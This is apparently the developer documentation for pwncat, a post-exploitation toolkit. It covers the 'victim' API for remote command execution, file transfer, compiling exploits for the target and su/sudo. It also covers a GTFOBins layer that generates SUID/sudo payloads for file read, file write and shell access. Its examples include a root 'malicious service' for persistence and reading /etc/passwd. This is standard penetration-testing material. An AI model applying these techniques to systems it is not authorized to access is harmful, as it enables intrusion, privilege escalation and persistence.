pwncat abstracts all interactions with the remote host through the `pwncat.victim` object. This is a singleton of the `pwncat.remote.Victim` class, and is available anywhere after initialization and conneciton of the remote host.

This object wraps common operations on the remote host such as running processes, retrieving output, opening files, interacting with services and much more!

Working with remote processes

Remote processes are started with one of four different methods. However, most of the time you will only need to use two of them. The first is the `process` method:

```
start_delim, end_delim = pwncat.victim.process("ls", delim=False)
```

The `process` method does not attempt to handle the output of a process or verify it's success. The `delim` parameter specifies whether delimeters will be placed before and after the remote processes output. If `delim` is false, this is equivalent to sending the command over the socket directly with `pwncat.victim.client.send("ls\n".encode("utf-8"))`. However, setting `delim` to True (the default value) instructs the method to prepend and append delimeters. `process` will also wait for the starting delimeter to be sent before returning. This means that with `delim` on, reading data from `pwncat.victim.client` after calling `process` will be the output of the process up until the end delimeter.

The next process creation method is `run`. This method utilizes `process`, but automatically waits for process completion and returns the output of the process:

```
output: bytes = pwncat.victim.run("ls")
```

The optional `wait` parameter effects whether the method will wait for and return the result. If `wait` is false, the output will not be read from the socket and the method will return immediately. This behaves much like calling `process` with `delim=True`.

The third process creation method is `subprocess`. With the subprocess method, a file-like object is returned which allows for read/write access to the remote processes stdio. Writing to the remote process will work until the end delimeter is observed on a read. Afterwich, the file object is automatically closed. No other interaction with the remote host is possible until the file object is closed.

```
with pwncat.victim.subprocess("find / -name 'interesting'", "r") as pipe:
    for line in pipe:
        print("Interesting file:", line.strip().decode("utf-8"))
```

The last process creation method is the `env` method. This method acts much like the `env` command on linux. It takes an argument array for a process to start. The first argument is the name of the program to run, and it is check with the `pwncat.victim.which` method to ensure it exists. Keyword arguments to the method are converted into environment variables for the new process. A `FileNotFoundError` is raised if the requested binary is not resolved properly with `pwncat.victim.which`.

```
pwncat.victim.env(["mkdir", "-p", "/tmp/somedir"], ENVIRONMENT_VAR="variable value")
```

This method also takes parameters similar to `run` for waiting and input, if needed.

Working with remote files

Remote files can be accessed and created similar to local files. The `pwncat.victim.open` interface provides a method to open a remote file and interact with it like a local Python file object. Creating a remote file can be accomplished with:

```
with pwncat.victim.open("/tmp/remote-file", "w") as filp:
    filp.write("hell from the other side!")
```

When interacting with remote files, no other interaction with the remote host is allowed. Prior to executing any other remote interaction, you must close the remote file object. Because of this simple interface, uploading a local file to a remote file can be accomplished with Python built-in functions.

```
import os
import shutil

with open("local-file", "rb") as src:
    with pwncat.victim.open("/tmp/remote-file", "wb",
            length=os.path.getsize("local-file")) as dst:
        shutil.copyfileobj(src, dst)
```

This is actually how the `upload` and `download` commands are implemented. The `length` parameter to the `pwncat.victim.open` method allows `pwncat` to intelligently select remote file access options which required a length argument. This is important because transfer of raw binary data unencoded requires the output length to be known. If the length is not passed, the data will be automatically encoded (for example, with base64) before uploading, and decoded automatically on the receiving end.

Working with remote services

`pwncat` will attempt to figure out what type of init system is being used on the target host and provide an abstracted interface to system services. The abstractions are available under the `pwncat/remote/service.py` file. Currently, `pwncat` only supports SystemD, but the interface is abstracted to support other init systems such as SysVInit or Upstart if the interface is implemented.

The `pwncat.remote.service.service_map` maps names of init systems to their abstract `RemoteService` class implementation. This is how `pwncat` selects the appropriate remote service backend.

Regardless of the underlying init system, `pwncat` provides methods for querying known services, enabling auto-start, starting, stopping and creation of remote services.

To query a list of remote services, you can use the `pwncat.victim.services` property. This is an iterator yielding each abstracted service object. Each object contains a name, description, and state as well as methods for starting, stopping, enabling or disabling the service. This functionality obviously depends on you having the correct permission to manage the services, however retrieving the state and list of services should work regardless of your permission level.

```python
from pwncat import victim

for service in victim.services:
    print(f"{service.name} is {'running' if service.running else 'stopped'}")
```

To find a specific service by name, there is a `find_service` method which returns an individual remote service object. If the service is not found, a `ValueError` is raised.

```python
from pwncat import victim

sshd = victim.find_service("sshd")
```

The interface for creating services is provided through the `create_service` method, which allows you to specify a target binary name which serves as the entrypoint for your service as well as a name description, and enabled state. A `PermissionError` is raised if you do not have permission to create the specified service. This method also returns a wrapped `RemoteService` object for the newly created service.

```python
from pwncat import victim

pwncat = victim.create_service(name="pwncat",
                               description="a malicious service",
                               target="/usr/bin/pwncat_service",
                               runas="root",
                               enable=True,
                               user=False)
pwncat.start()
```

Starting, stopping or enabling a service is as easy as calling a method or setting a property:

```python
from pwncat import victim

try:
    sshd = victim.find_service("sshd")
    sshd.enabled = False
    sshd.stop()
except PermissionError:
    print("you don't have permission to modify sshd :(")
except ValueError:
    print("sshd doesn't exist!")
```

Compiling Code for the Victim

`pwncat` provides an abstract capability to compile binaries in `C` for the victim. By setting the `cross` configuration item to the path to valid C compiler on your attacking system capable of generating compiled binaries for the victim, you can have `pwncat` compile exploits locally and upload only the compiled binaries. This not only speeds up privilege escalation checks, but also enables some methods in the case the remote host does not have a working C compiler. If no `cross` value is provided, `pwncat` will still check for an utilize a remote compiler if available.

To access, this functionality, you can use the `pwncat.victim.compile` method. This method takes a list of source files, an output suffix, and a list of CFLAGS and LDFLAGS. The result is the path to the compiled binary on the remote host. Ideally, it will utilize a local cross-compiler and upload the binary, but it is also capable of uploading the specified source files and compiling remotely as well.

Listing 8: Compiling Local Source Files For A Victim

```python
import pwncat

# Compile your code for the remote host
remote_path = pwncat.victim.compile(["main.c", "other.c"], cflags=["-static"],␣
↪ldflags=["-lssl"])
# Run the new binary
pwncat.victim.run(remote_path)
# Track the new binary in the tamper database
pwncat.victim.tamper.created_file(remote_path)
```

The list of sources can also accept file objects instead of file paths. In this case, you can wrap a literal string in a *io.StringIO* object in order to compile short source files from memory:

Listing 9: Compiling Source From Memory

```python
import pwncat
import textwrap
import io

# Simple in-memory source file
source = textwrap.dedent(r"""
    #include <stdio.h>

    int main(int argc, char** argv) {
        printf("Hello World!\n");
        return 0;
    }
""")
# Compile the source file
remote_path = pwncat.victim.compile([io.StringIO(source)])
# will print b"Hello World!\n"
print(pwncat.victim.run(remote_path))
```

You can also utilize the CFLAGS argument to produce shared libraries if needed:

Listing 10: Compiling Shared Libraries

```python
import pwncat

# Compile the source as a shared library
remote_path = pwncat.victim.compile(["main.c"], cflags=["-fPIC", "-shared"], suffix=".
↪so")
```

The Victim Object

class pwncat.remote.victim.**Victim**

Abstracts interaction with the remote victim host.

Parameters

- **config** (*pwncat.config.Config*) – the machine configuration object
- **state** (*pwncat.util.State*) – the current interpreter state
- **saved_term_state** – the saved local terminal settings when in raw mode

- **remote_prompt** – the prompt (set in PS1) for the remote shell
- **binary_aliases** (*Dict[str, List]*) – aliases for various binaries that `self.which` will look for
- **gtfo** (`GTFOBins`) – the gtfobins module for selecting and generating gtfobins payloads
- **command_parser** (*CommandParser*) – the local command parser module
- **tamper** (*TamperManager*) – the tamper module handling remote tamper registration
- **engine** (*Engine*) – the SQLAlchemy database engine
- **session** (*Session*) – the global SQLAlchemy session
- **host** (*pwncat.db.Host*) – the pwncat.db.Host object

access (*path: str*) → pwncat.util.Access

Test your access to a file on the remote system. This method utilizes the remote `test` command to interrogate the given path and it's parent directory. If the `test` and `[` commands are not available, Access.NONE is returned.

Parameters **path** (*str*) – the remote file path

Returns pwncat.util.Access flags

bootstrap_busybox (*url: str*)

Utilize the architecture we grabbed from *uname -m* to download a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins)

After installation, busybox version of all non-SUID binaries will be returned from `victim.which` vice local versions.

Parameters **url** – a base url for compiled versions of busybox

chdir (*path: str*) → str

Change directories in the remote process. Returns the old CWD.

Parameters **path** – the directory to change to

Returns the old current working directory

compile (*sources: List[Union[str, io.IOBase]], output: str = None, suffix: str = None, cflags: List[str] = None, ldflags: List[str] = None*)

If possible, compile the given source files on the local host using the cross compiler given by the *cross* configuration value. If *cross* is not set or cannot compile the given sources, then check if a valid compiler is available on the remote host. If a local cross compiler is selected, the output file is then uploaded to the remote host.

In either case, the full path to the output file on the remote host is returned.

May raise FileNotFound error if the given source doesn't exist. May also raise util.CompilationError with the stdout/stderr of the compiler if compilation failed either locally or on the remote host.

Parameters

- **sources** – a list of source files or IO streams used as source files
- **output** – the base name of the output file, if this is None, the name is randomly selected with an optional suffix.
- **suffix** – a suffix to add to the basename. This isn't useful except for when output is None, but will be honored in either case.

- **`cflags`** – a list of arguments to pass to GCC prior to the sources
- **`ldflags`** – a list of arguments to pass to GCC after the sources

Returns a string indicating the path to the remote binary after compilation.

`connect` (*client: _socket.socket*)

Set up the remote client. This socket is assumed to be connected to some form of a shell. The remote host will be interrogated to figure out the remote shell type, system type, etc. It will then cross-reference the database to identify if we have seen this host before, and load relevant data for this host.

Parameters **`client`** (*`socket.SocketType`*) – the client socket connection

Returns None

`create_service` (*name: str*, *description: str*, *target: str*, *runas: str*, *enable: bool*, *user: bool = False*) → pwncat.remote.service.RemoteService

Create a service on the remote host which will execute the specified binary. The remote `init` system must be understood, as with the `services` property. A ValueError is raised if the init system is not understood by `pwncat`. A PermissionError may be raised if insufficient permissions are found to create the service.

Parameters

- **`name`** (*`str`*) – the name of the remote service
- **`description`** (*`str`*) – the description for the remote service
- **`target`** (*`str`*) – the remote binary to start as a service
- **`runas`** (*`str`*) – the remote user to run the service as
- **`enable`** (*`bool`*) – whether to enable the service at boot
- **`user`** (*`bool`*) – whether this service should be a user service

Returns RemoteService

`current_user`

Retrieve the database User object for the current user. This will call `victim.whoami()` to retrieve the current user and cross-reference with the local user database.

Returns pwncat.db.User

`env` (*argv: List[str], envp: Dict[str, Any] = None, wait: bool = True, input: bytes = b'', stderr: str = None, stdout: str = None, **kwargs*) → bytes

Execute a binary on the remote system. This function acts similar to the `env` command-line program. The only difference is that there is no way to clear the current environment. This will also resolve argv[0] to ensure it exists on the remote system.

If the specified binary does not exist on the remote host, a FileNotFoundError is raised.

Parameters

- **`argv`** (*`List[str]`*) – the argument list. argv[0] is the command to run.
- **`envp`** (*`Dict[str,str]`*) – a dictionary of environment variables to set
- **`wait`** (*`bool`*) – whether to wait for the command to exit
- **`input`** (*`bytes`*) – input to send to the command prior to waiting
- **`kwargs`** (*`Dict[str, str]`*) – all other keyword arguments are assumed to be environment variables

Returns if `wait` is true, returns the command output as bytes. Otherwise, returns None.

find_service(*name: str*, *user: bool = False*) → pwncat.remote.service.RemoteService

Locate a remote service by name. This uses the same interface as the `services` property, meaning a supported `init` system must be used on the remote host. If the service is not found, a ValueError is raised.

Parameters

- **name** (*str*) – the name of the remote service
- **user** (*bool*) – whether to lookup user services (e.g. `systemctl --user`)

Returns RemoteService

find_user_by_id(*uid: int*)

Locate a user in the database with the specified user ID.

Parameters **uid** (*int*) – the user id to look up

Returns str

flush_output(*some=False*)

Flush any data in the socket buffer.

Parameters **some** (*bool*) – if true, wait for at least one byte of data before flushing.

get_file_size(*path: str*)

Retrieve the size of a remote file. This method raises a FileNotFoundError if the remote file does not exist. It may also raise PermissionError if the remote file is not readable.

Parameters **path** (*str*) – path to the remote file

Returns int

getenv(*name: str*)

Utilize `echo` to get the current value of the given environment variable.

Parameters **name** (*str*) – environment variable name

Returns str

id

Retrieves a dictionary representing the result of the `id` command. The resulting dictionary looks like:

```
{
    "uid": { "name": "username", "id": 1000 },
    "gid": { "name": "username", "id": 1000 },
    "euid": { "name": "username", "id": 1000 },
    "egid": { "name": "username", "id": 1000 },
    "groups": [ {"name": "wheel", "id": 10} ],
    "context": "SELinux context"
}
```

Returns Dict[str,Any]

listdir(*path: str*) → Generator[str, None, None]

List the contents of the specified directory.

Raises the following exceptions:

- FileNotFoundError: the directory does not exist
- NotADirectoryError: the path is not a directory
- PermissionError: you don’t have permission to list the directory

Parameters **`path`** – the path to the directory

Returns generator of file paths within the directory

`open`(*path: str*, *mode: str*, *length=None*) → Union[_io.BufferedReader, _io.BufferedWriter, _io.TextIOWrapper]

Mimic the built-in `open` function on the remote host. The returned file-like object can be used as either a file reader or file writer (but not both) for a remote file. The implementation for reading and writing files is selected using the GTFOBins module and the `victim.which` method. No other interaction with the remote host is allowed while a file or process stream is open. This will cause a dead-lock. This method may raise a FileNotFoundError or PermissionDenied in case of access issues with the remote file.

Parameters

- **`path`** (*`str`*) – remote file path
- **`mode`** (*`str`*) – the open mode; this cannot contain both read and write!
- **`length`** (*`int`*) – if known, the length of the data you will write. this is used to open up extra GTFOBins options. It is not required.

Returns Union[io.BufferedReader, io.BufferedWriter, io.TextIOWrapper]

`open_read`(*path: str*, *mode: str*) → Union[_io.BufferedReader, _io.TextIOWrapper]

This method implements the underlying read logic for the `open` method. It shouldn't be called directly. It may raise a FileNotFoundError or PermissionError depending on access to the requested file.

Parameters

- **`path`** (*`str`*) – the path to the remote file
- **`mode`** (*`str`*) – the open mode for the remote file (supports "b" and text modes)

Returns Union[io.BufferedReader, io.TextIOWrapper]

`open_write`(*path: str*, *mode: str*, *length=None*) → Union[_io.BufferedWriter, _io.TextIOWrapper]

This method implements the underlying read logic for the `open` method. It shouldn't be called directly. It may raise a FileNotFoundError or PermissionError depending on access to the requested file.

Parameters

- **`path`** (*`str`*) – the path to the remote file
- **`mode`** (*`str`*) – the open mode for the remote file (supports "b" and text modes)

Returns Union[io.BufferedWriter, io.TextIOWrapper]

`peek_output`(*some=False*)

Retrieve the currently pending data in the socket buffer without removing the data from the buffer.

Parameters **`some`** (*`bool`*) – if true, wait for at least one byte of data to be received

Returns bytes

`probe_host_details`(*progress: rich.progress.Progress*, *task_id*)

Probe the remote host for details such as the installed init system, distribution architecture, etc. This information is stored in the database and only retrieved for new systems or if the database was removed.

`process`(*cmd*, *delim=True*, *timeout=None*) → Tuple[str, str]

Start a process on the remote host. This is the underlying logic for `run` and `env`. If `delim` is true (default), then the command is wrapped in random delimeters, which mark the start and end of command output. This method will wait for the starting delimeter before returning. The output of the command can then be retrieved from the `victim.client` socket.

Parameters

- **cmd** (*str*) – the command to run on the remote host
- **delim** (*bool*) – whether to wrap the output in delimeters

Returns a Tuple of (start_delim, end_delim)

process_input (*data: bytes*)
Process local input from `stdin`. This is used internally to handle keyboard shortcuts and pass data to the remote host when in raw mode.

Parameters **data** (*bytes*) – the newly entered data

raw (*echo: bool = False*)
Place the remote terminal in raw mode. This is used internally to facilitate binary file transfers. It should not be called normally, as it removes the ability to send control sequences.

reconnect (*hostid: str*, *requested_method: str = None*, *requested_user: str = None*)
Reconnect to the host identified by the provided host hash. The host hash can be retrieved from the `sysinfo` command of a running `pwncat` session or from the `host` table in the database directly. This hash uniquely identifies a host even if it's IP changes from your perspective. It is constructed from host-specific information probed from the last time `pwncat` connected to it.

Parameters

- **hostid** – the unique host hash generated from the last pwncat session
- **requested_method** – the persistence method to utilize for reconnection, if not specified, all methods will be tried in order until one works.
- **requested_user** – the user to connect as. if any specified, all users will be tried in order until one works. if no method is specified, only methods for this user will be tried.

recvuntil (*needle: bytes*, *interp=False*, *timeout=None*)
Receive data from the socket until the specified string of bytes is found. There is no timeout features, so you should be 100% sure these bytes will end up in the output of the remote process at some point.

Parameters

- **needle** (*bytes*) – the bytes to search for
- **flags** (*int*) – flags to pass to the underlying `recv` call

Returns bytes

reload_host ()
Reload the host database object. This is needed after some clearing operations such as clearing enumeration data.

reload_users ()
Reload user and group information from /etc/passwd and /etc/group and update the local database.

remove_busybox ()
Uninstall busybox. This should not be called directly, because it does not remove the associated tamper objects that were registered previously.

reset (*hard: bool = True*)
Reset the remote terminal using the `reset` command. This also restores your prompt, and sets up the environment correctly for `pwncat`.

restore_local_term ()
Restore the local terminal to a normal state (e.g. from raw/no-echo mode).

restore_remote()
Restore the remote prompt after calling `victim.raw`. This restores the saved stty state which was saved upon calling `victim.raw`.

run(*cmd*, *wait: bool = True*, *input: bytes = b''*, *timeout=None*) → bytes
Run a command on the remote host and return the output. This function is similar to *env* but takes a string as the input instead of a list of arguments. It also does not check that the process exists.

Parameters

- **input** (*bytes*) – the input to automatically pass to the new process
- **wait** (*bool*) – whether to wait for process completion
- **cmd** (*str*) – the command to run

services
Yield a list of installed services on the remote system. The returned service objects allow the option to start, stop, or enable the service, if appropriate permissions are available. This assumes the init system of the remote host is known and an abstract RemoteService layer is implemented for the init system. Currently, only `systemd` is understood by pwncat, but facilities to implement more abstracted init systems is built-in.

Returns Iterator[RemoteService]

state
The current state of `pwncat`. Changing this property has side-effects beyond just modifying a variable. Switching to RAW mode will close the local terminal automatically and enter RAW/no-echo mode in the local terminal.

Setting command mode will not return until command mode is exited, and enters the CommandProcessor input loop.

Setting SINGLE mode is like COMMAND mode except it will return after one local command is entered and executed.

Returns pwncat.util.State

su(*user: str*, *password: str = None*, *check: bool = False*)
Attempt to switch users to the specified user. If you are currently UID=0, the password is ignored. Otherwise, the password will first be checked and then utilized to switch the active user of your shell. If `check` is specified, do not actually switch users. Only check that the given password is correct.

Raises PermissionError if the password is incorrect or the `su` fails.

Parameters

- **user** (*str*) – the user to switch to
- **password** (*str*) – the password for the specified user or None if currently UID=0
- **check** (*bool*) – if true, only check the password; do not escalate

subprocess(*cmd*, *mode='rb'*, *data: bytes = None*, *exit_cmd: str = None*, *no_job=False*, *name: str = None*, *env: Dict[str, str] = None*, *stdout: str = None*, *stderr: str = None*) → Union[_io.BufferedRWPair, _io.BufferedReader]
Start a process on the remote host and return a file-like object which can be used as stdio for the remote process. Until the returned file-like object is closed, no other interaction with the remote host can occur (this will result in a deadlock). It is recommended to wrap uses of this object in a `with` statement:

```python
with pwncat.victim.subprocess("find / -name interesting", "r") as stdout:
    for file_path in stdout:
        print("Interesting file:", file_path.strip().decode("utf-8"))
```

Parameters

- **`cmd`** – the command to execute
- **`mode`** – a mode string like with the standard "open" function
- **`data`** – data to send to the remote process prior to waiting for output
- **`exit_cmd`** – a string of bytes to send to the remote process to exit early this is needed in case you close the file prior to receiving the ending delimeter.
- **`no_job`** – whether to run as a sub-job in the shell (only used for "r" mode)
- **`name`** – the name assigned to the output file object
- **`env`** – environment variables to set for this command
- **`stdout`** – a string specifying the location to redirect standard out (or None)
- **`stderr`** – a string specifying where to redirect stderr (or None)

Returns Union[BufferedRWPair, BufferedReader]

`sudo`(*command: str*, *user: Optional[str] = None*, *group: Optional[str] = None*, *as_is: bool = False*, *wait: bool = True*, *password: str = None*, *stream: bool = False*, *send_password: bool = True*, ***kwargs*)

Run the specified command with sudo. If specified, "user" and/or "group" options will be added to the command.

If as_is is true, the command string is assumed to contain "sudo" in it and "user"/"group" are not processed. This enables you to use a pre-built command, but utilize the standard processing of user/password information and communication.

Parameters

- **`command`** – the command/options to pass to sudo. This is appended to the sudo command, so it can contain other options such as "-l"
- **`user`** – the user to run as. this adds a "-u" option to the sudo command
- **`group`** – the group to run as. this adds a "-g" option to the sudo command

Returns the command output or None if wait is False

`tempfile`(*mode: str*, *length: int = None*, *suffix: str = ''*) → Union[_io.BufferedWriter, _io.TextIOWrapper]

Create a remote temporary file and open it in the specified mode. The mode must contain "w", as opening a new file for reading makes not sense. If "b" is not included, the file will be opened in text mode.

Parameters

- **`mode`** (*`str`*) – the mode string as with `victim.open`
- **`length`** (*`int, optional`*) – length of the expected data (as with `open`)
- **`suffix`** (*`str, optional`*) – suffix of the temporary file name

Returns Union[io.BufferedWriter, io.TextIOWrapper]

`update_user`()

Requery the current user :return: the current user

`users`

Return a list of users from the local user database cache. If the users have not been requested yet, this willc all `victim.reload_users`.

Returns Dict[str, pwncat.db.User]

which(*name: str*, *quote=False*) → Optional[str]
Resolve the given binary name using the remote shells path. This will cache entries for the remote host to speed up pwncat. Further, if busybox is installed, it will return busybox version of binaries without asking the remote host.

Parameters

- **name** (*str*) – the name of the remote binary (e.g. "touch").
- **quote** (*bool*) – whether to quote the returned string with shlex.

Returns The full path to the requested binary or None if it was not found.

whoami()
Use the `whoami` command to retrieve the current user name.

Returns str, the current user name

Remote Service Object

class pwncat.remote.service.**RemoteService**(*name: str*, *running: bool*, *description: str*, *user: bool = False*)
Abstract service interface. Interfaces for specific init systems are implemented as a subclass of the RemoteService class. The class methods defined here should be redefined to access and enumerate the underlying init system.

Parameters

- **name** – the service name
- **user** – whether this service is a user specific service
- **running** – whether this service is currently running
- **description** – a long description for this service

enabled
Check if the service is enabled at boot. The setter will attempt to enable or disable this service for autostart.

classmethod enumerate(*user: bool = False*) → Iterator[pwncat.remote.service.RemoteService]
Enumerate installed services on the remote host. This is overloaded for a specific init system.

Parameters **user** – whether to enumerate user specific services

Returns An iterator for remote service objects

restart()
Restart the remote service

start()
Start the remote service

stop()
Stop the remote service

stopped
Check if the service is stopped

2.9.7 GTFOBins Abstraction Layer

`pwncat` implements an abstraction of the fantastic GTFOBins project. This project catalogs known methods of file read, file write and shell access with commonly accessible binaries.

The `pwncat.gtfobins` module along with the `data/gtfobins.json` database provides a programmatic way of enumerating and searching for known GTFObins techniques for performing various capabilities. It is able to generate payloads for gaining a shell, file read, and file write in standard, SUID or sudo modes.

For the standard mode, `gtfobins` provides `pwncat` a way to generically refer to file read and write operations without depending on specific remote binaries being available. The likelihood of no methods of file read being available on a remote system is very low, however the probability of something like `dd` to be missing (however odd that would be) is much higher. In this way, things like `pwncat.victim.open` can operate in a generic way without resulting in dependencies on specific remote binaries.

Further, the `gtfobins` modules has abstracted away the idea of SUID and sudo to provide a uniform interface for generating payloads which gain file read/write or shell with known SUID or sudo privileges. The `gtfobins` module knows how and where to insert special options to enable taking advantage of SUID binaries and also knows how to parse sudo command specifications to enumerate available binaries and produce payloads compatible with the given sudo specification.

Module Organization

The GTFObins module is at it's core a database lookup. Currently, this database is a JSON file which generically describes a large subset of the greater GTFObins project and describes how to build payloads for each binaries different capabilities.

The top-level module (the `GTFOBins` class) provides access to this database. It is initialized with a path to the database file (`data/gtfobins.json`) and callable which represents the `which` application for the target system. It should resolve binary names into their fullpaths on the remote system. It also takes a second boolean parameter which indicates where the returned string should be quoted as with `shlex.quote`.

Payloads are generated from individual methods, which are all an implementation of the `pwncat.gtfobins.Method` class. A method is an implementation of a specific capability for a specific binary. They contain the payload, command arguments, input and exit command needed to execute a specific capability with a specific binary. These methods are defined in the database, which will be described further down.

A `pwncat.gtfobins.Binary` object is instantiated for every binary described in the database. Each binary is described simply by it's name and a list of methods taken from the database. At a generic level, the binary doesn't know the path on the remote system, which it will need to build a payload with any given method.

When enumerating methods, the `Binary` and `GTFOBins` objects will both return instances of the `MethodWrapper` class. This class provides the actual payload building mechanism. It is the glue that puts a specific binary path, SUID state and sudo specification together with a specific `Method` object. You will not interact with `Method` objects directly when using this module.

Retrieving a Method Wrapper

Method wrappers are created in three two ways. They can be built automatically by the `GTFOBins` object by iterating through all known binaries and using the provided `which` callable to locate valid remote binaries. This is done through the `iter_methods` function:

```
for method in pwncat.victim.gtfo.iter_methods(Capability.READ, Stream.ANY):
    print("We could read a file with {method.binary_path}!")
```

This works well when you don't need any special permissions, but just need to generate a payload for a specific capability. You have no requirements beyond your capability.

However, sometimes you know a specific binary that you can use, but you're not sure what you can do with it. This can happen when performing privilege escalation. Perhaps you can run a specific binary as another user, but you'd like to leverage this for more access. In this case, you can provide the binary path to the `iter_binary` method to iterate methods for that specific binary. In this case, the `GTFOBins` module will not utilize the `which` callable. It trusts you that the given binary path you provided exists, and yields method wrappers for the capabilities you requested, if any.

```
for method in pwncat.victim.gtfo.iter_binary("/bin/bash", Capability.ALL, Stream.ANY):
    print(f"We could perform {method.cap} with /bin/bash!")
```

The last way of generating a method wrapper is used when you know that a user can run commands via sudo with a specific specification. You'd like to know if GTFObins can provide any useful capabilities with this command. For this, you can use the `iter_sudo` method which will iterator over all methods which are capable of being executed under the given sudo specification.

```
for method in pwncat.victim.gtfo.iter_sudo("/usr/bin/git log*", caps=Capability.ALL):
    print(f"You could perform {method.cap} with /usr/bin/git!")
```

`GTFOBins` is able to parse the sudo command specification and identify if the allowed parameters to the command overlap with the needed parameters for different methods. If the specification is `ALL` or ends with an asterisk, this is often possible. If it doesn't, then it will try to make the parameters fit the specification and decide if the capabilitiy is feasible.

Generating a Payload by Capability

Once you have identified a specific method (and have a method wrapper), generating a payload is easy. The `MethodWrapper` class provides the `build` function which will be all components of the payload. Each payload consists of three items:

- The base payload
- The input sent to the application
- The command used to exit the application

The base payload is the command sent to the target host which will trigger the action specified by the method capability. The input is the a bytes object which is sent to the standard input of the application to trigger the action. The command used to exit is a bytes object which when sent to the applications standard input should cleanly exit the application and return the user to a normal shell. The last two are optional, but may be required and should always be sent if returned from `build`. If a method doesn't need them, they will be empty bytes objects and you can safely send them to the application anyway.

The `build` function takes variable arguments because the specific parameters required for each capability are different:

- **A SHELL capability requires the following arguments:**
  - shell: the shell to execute
- **A READ capability requires the following arguments:**
  - lfile: the path to the local file to read
- **A WRITE capability with a RAW stream requires the following arguments:**
  - lfile: the path to the local file to write to
  - length: the number of bytes of data which will be written

- **A WRITE capability with any other stream type requires:**
  - lfile: the path to the local file to write to

In the case of a read payload, the content of the file is assumed to be sent to standard output of the command executed via the base payload. For write payloads, the new content for the file is sent to the standard input of the base payload command **after** any input data returned from the `build` function and **before** sending the exit bytes.

Putting It All Together

There's a lot of information up above, so here's an example of using the GTFOBins module. For file read and file write. First up, we will read the `/etc/passwd` file and print the name of all users on the remote system:

```python
from pwncat import victim

try:
    # Find a reader from GTFObins
    method = next(victim.gtfo.iter_methods(caps=Capability.READ, stream=Stream.ANY))
except StopIteration:
    raise RuntimeError("no available gtfobins readers!")

# Build the payload
payload, input_data, exit_cmd = method.build(lfile="/etc/passwd")

# Run the payload on the remote host.
pipe = self.subprocess(
    payload,
    "r",
    data=input_data.encode("utf-8"),
    exit_cmd=exit_cmd.encode("utf-8"),
    name=path,
)

# Wrap the pipe in the decoder for this method (possible base64)
with method.wrap_stream(pipe) as pipe:
    for line in pipe:
        line = line.decode("utf-8").strip()
        print("Found user:", line.split(":")[0])
```

This might seem long and laberous, but it is infinitely better than depending on a specific file read method or attempting to account for multiple read methods each time you want to read a file (although, luckily `pwncat.victim.open` already wraps this for you ;). Next, we'll take a look at writing a file.

```python
from pwncat import victim

# The data we will write
data = b"Hello from a new file!"

try:
    # Find a writer from GTFObins
    method = next(victim.gtfo.iter_methods(caps=Capability.WRITE, stream=Stream.RAW))
except StopIteration:
    raise RuntimeError("no available gtfobins readers!")

# Build the payload
payload, input_data, exit_cmd = method.build(lfile="/tmp/new-file", length=len(data))
```

(continues on next page)

(continued from previous page)

```
# Run the payload on the remote host.
pipe = self.subprocess(
    payload,
    "w",
    data=input_data.encode("utf-8"),
    exit_cmd=exit_cmd.encode("utf-8"),
    name=path,
)

with method.wrap_stream(pipe) as pipe:
    pipe.write(data)
```

GTFOBins Utility Classes

class pwncat.gtfobins.**Capability**

The capabilities of a given GTFOBin Binary. A binary may have multiple implementations of each capability, but these flags indicate a list of all capabilities which a given binary supports.

ALL = 7
All capabilities, used for iter_* methods

NONE = 0
No capabilities. Should never happen.

READ = 1
File read

SHELL = 4
Shell access

WRITE = 2
File write

class pwncat.gtfobins.**Stream**

What time of streaming data is required for a specific method.

ANY = 15
Used with the iter_* methods. Shortcut for searching for any stream

BASE64 = 8
Supports reading/writing base64 data

HEX = 4
Supports reading/writing hex-encoded data

NONE = 0
No stream method. Should never happen.

PRINT = 2
Supports reading/writing printable data only

RAW = 1
A raw, unencoded stream of data. If writing, this mode requires a `length` parameter to indicate how many bytes of data to transfer.

The GTFOBins Object

class `pwncat.gtfobins.`**GTFOBins**(*gtfobins: str, which: Callable[[str], str]*)

Wrapper around the GTFOBins database. Provides access to searching for methods of performing various capabilities generically. All iterations yield MethodWrapper objects.

Parameters

- **gtfobins** (`str`) – path to the gtfobins database
- **which** (`Callable[[str, Optional[bool]], str]`) – a callable which resolves binary basenames to full paths. A second parameter indicates whether the returned path should be quoted as with shlex.quote.

find_binary(*binary_path: str*, *caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*)

Locate a binary by name. Only return a binary if the capabilities overlap. Raise an BinaryNotFound exception if the capabilities don't match or the given binary doesn't exist on the remote system.

iter_binary(*binary_path: str*, *caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*, *stream: pwncat.gtfobins.Stream = None*, *spec: str = None*) → Generator[pwncat.gtfobins.MethodWrapper, None, None]

Iterate over methods for the given remote binary path. A binary will be located by taking the basename of the given path, and the cross- referencing with the given capabilities and stream types.

iter_methods(*caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*, *stream: pwncat.gtfobins.Stream = None*, *spec: str = None*) → Generator[pwncat.gtfobins.MethodWrapper, None, None]

Iterate over methods which provide the given capabilities

iter_sudo(*spec: str*, *caps: pwncat.gtfobins.Capability = <Capability.ALL: 7>*, *stream: pwncat.gtfobins.Stream = None*, ***kwargs*)

Iterate over methods which are sudo-capable w/ the given sudo spec. This will restrict the search to those binaries which match the given sudo command spec.

parse_binary_data(*binary_data: Dict[str, List[Dict[str, Any]]]*)

Parse the given GTFObins binary information into the associated in-memory binary objects

resolve_binaries(*target: str*, ***args*)

resolve any missing binaries with the self.which method

The MethodWrapper Object

class `pwncat.gtfobins.`**MethodWrapper**(*method: pwncat.gtfobins.Method*, *binary_path: str*)

Wraps a method and full binary path pair which together are capable of generating a payload to perform the specified capability.

build(***kwargs*) → Tuple[str, str, str]

Build the payload for this method and binary path. Depending on capability and stream type, different named parameters are required.

cap

Access this methods capabilities

stream

Access this methods stream type

wrap_stream(*pipe: BinaryIO*) → IO

Wrap the given BinaryIO pipe with the appropriate stream wrapper for this method. For "RAW" or "PRINT" streams, this is a null wrapper. For BASE64 and HEX streams, this will automatically decode the data as it is streamed. Closing the wrapper will automatically close the underlying pipe.

CHAPTER 3

Indices and tables

- genindex
- modindex
- search

Index